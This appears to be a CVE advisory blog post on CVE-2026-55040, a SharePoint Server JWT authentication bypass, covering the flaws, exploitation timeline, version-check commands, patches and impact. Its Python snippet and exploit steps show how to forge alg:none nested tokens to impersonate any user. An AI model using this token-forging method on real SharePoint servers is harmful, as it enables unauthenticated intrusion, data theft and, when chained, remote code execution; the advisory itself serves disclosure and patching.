Listen to this Post
CVE-2026-55040 is a critical authentication bypass vulnerability in Microsoft SharePoint Server’s JSON Web Token (JWT) validation pipeline. It carries a CVSS score of 9.1 (Critical) and is classified as CWE-1390 (Weak Authentication). Microsoft patched it on July 14, 2026, and CISA added it to the Known Exploited Vulnerabilities Catalog on August 18, 2026.
The vulnerability stems from four distinct flaws in how SharePoint parses and validates Bearer service-to-service (S2S) tokens:
1. Outer token signature checks are disabled – SharePoint has `RequireSignedTokens` explicitly set to false, meaning it accepts an outer JWT with `alg: none` (no signature required).
2. Attacker-controlled key resolution – The `x5t` (X.509 certificate thumbprint) header in the actor token is used to resolve the signing key, but SharePoint does not verify the signature of that token.
3. Issuer validation accepts unregistered certificates – The resolved certificate is not checked against the `TrustedSecurityTokenServices` list, so SharePoint’s own STS certificate – which is publicly exposed – is accepted as a valid issuer.
4. Signature check is trivial – The final validation only requires that the signature value is non-empty (e.g., AAAA), not that it is cryptographically valid.
An attacker can first read the SharePoint STS signing certificate from an unauthenticated endpoint: /_layouts/15/metadata/json/1. Using the thumbprint from that certificate, the attacker forges a nested JWT with an outer `alg: none` header and an actor token whose `x5t` matches the STS thumbprint. SharePoint accepts this forged token and grants the attacker access with the privileges of any SharePoint user they specify by SID or UPN – all without a password or any prior access.
Rapid7’s Stephen Fewer discovered this flaw and demonstrated it at Pwn2Own Berlin 2026. The proof-of-concept was published on August 11, 2026, and exploitation attempts were observed in honeypots within 24 hours. When chained with CVE-2026-63520 (an unsafe .NET type instantiation flaw in Business Connectivity Services), this authentication bypass enables fully unauthenticated remote code execution on vulnerable SharePoint servers.
DailyCVE Form:
Platform: ……. Microsoft SharePoint Server
Version: …….. 2016, 2019, Subscription
Vulnerability :…… JWT Authentication Bypass
Severity: ……. Critical (9.1 CVSS)
date: ………. July 14, 2026
Prediction: …… Patch immediately available
What Undercode Say:
Analytics show CVE-2026-55040 is under active exploitation. Rapid7 released a public PoC on August 11, 2026. Defused reported attackers using that PoC against SharePoint honeypots on August 12, 2026. KEVIntel recorded 12 exploitation attempts from August 12–13, 2026, originating from Hong Kong, Japan, the Netherlands, Taiwan, and the U.S.. CISA added this CVE to its KEV catalog on August 18, 2026 with a due date of August 21, 2026. Microsoft’s advisory does not yet mention active exploitation, but confirmation from third-party threat intelligence is clear.
Bash Commands to Check SharePoint Version:
Check SharePoint build version via PowerShell Get-SPFarm | Select-Object BuildVersion Alternative: Check registry for installed versions Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Shared Tools\Web Server Extensions\16.0" | Select-Object Version Check if patch is installed (example for Subscription Edition) Get-HotFix | Select-Object HotFixID, Description, InstalledOn | Select-String "KB5002882"
Python PoC Snippet (Educational Purposes Only):
import jwt
import requests
Step 1: Fetch STS certificate thumbprint from unauthenticated endpoint
sts_url = "https://target-sharepoint/_layouts/15/metadata/json/1"
response = requests.get(sts_url)
thumbprint = extract_thumbprint(response.text) Parse thumbprint from response
Step 2: Forge nested JWT with alg:none
outer_header = {"alg": "none", "typ": "JWT"}
actor_header = {"alg": "RS256", "x5t": thumbprint}
actor_payload = {"upn": "[email protected]"} Target user
Create actor token (unsigned, signature = "AAAA")
actor_token = jwt.encode(actor_payload, key=None, algorithm="none", headers=actor_header)
Note: Standard libraries may reject alg:none; this is a conceptual representation
Outer token with alg:none and actor token as payload
outer_payload = {"actor": actor_token}
forged_token = jwt.encode(outer_payload, key=None, algorithm="none", headers=outer_header)
Step 3: Use forged token to authenticate
auth_headers = {"Authorization": f"Bearer {forged_token}"}
requests.get("https://target-sharepoint/_api/web/lists", headers=auth_headers)
Note: Full working exploit scripts are publicly available on GitHub (e.g., `sfewer-r7/CVE-2026-55040` and zenzue/CVE-2026-55040).
Exploit: (Educational Purposes!)
A remote unauthenticated attacker exploits CVE-2026-55040 by:
- Reading the STS signing certificate thumbprint from
/_layouts/15/metadata/json/1. - Forging a nested JWT with outer header `alg: none` and actor token `x5t` set to that thumbprint.
- Setting the actor token’s UPN or SID to a target SharePoint user (e.g., site administrator).
- Sending the forged token in the `Authorization: Bearer` header.
- Gaining authenticated access to perform operations, disclose files, and modify data.
The flaw resides in two classes: `SPJsonWebSecurityTokenHandlerV2` andSPJsonWebSecurityBaseTokenHandlerV2. Successful exploitation allows impersonation of any SharePoint user. When chained with CVE-2026-63520, this leads to unauthenticated remote code execution.
Protection:
- Apply the July 14, 2026 security updates immediately:
- SharePoint Server Subscription Edition: KB5002882 (build 16.0.19725.20434)
- SharePoint Server 2019: KB5002883 (build 16.0.10417.20175)
- SharePoint Server 2016 / Enterprise Server 2016: KB5002891 (build 16.0.5561.1001)
- There is no workaround for this vulnerability.
- Patching CVE-2026-55040 alone is sufficient to break the RCE chain, as it is the first and necessary link.
- CISA requires action by August 21, 2026, in accordance with BOD 26-04.
- Organizations should evaluate each SharePoint asset’s internet exposure and ensure compliance with patching guidelines.
- SharePoint Online is not affected.
Impact:
- Confidentiality: An attacker can disclose files and sensitive SharePoint data.
- Integrity: An attacker can modify data within the SharePoint environment.
- Availability: The vulnerability does not impact system availability.
- Authentication Bypass: Complete bypass of authentication with no credentials required.
- Privilege Escalation: Impersonation of any SharePoint user, including site administrators.
- Remote Code Execution: When chained with CVE-2026-63520, unauthenticated RCE is possible.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
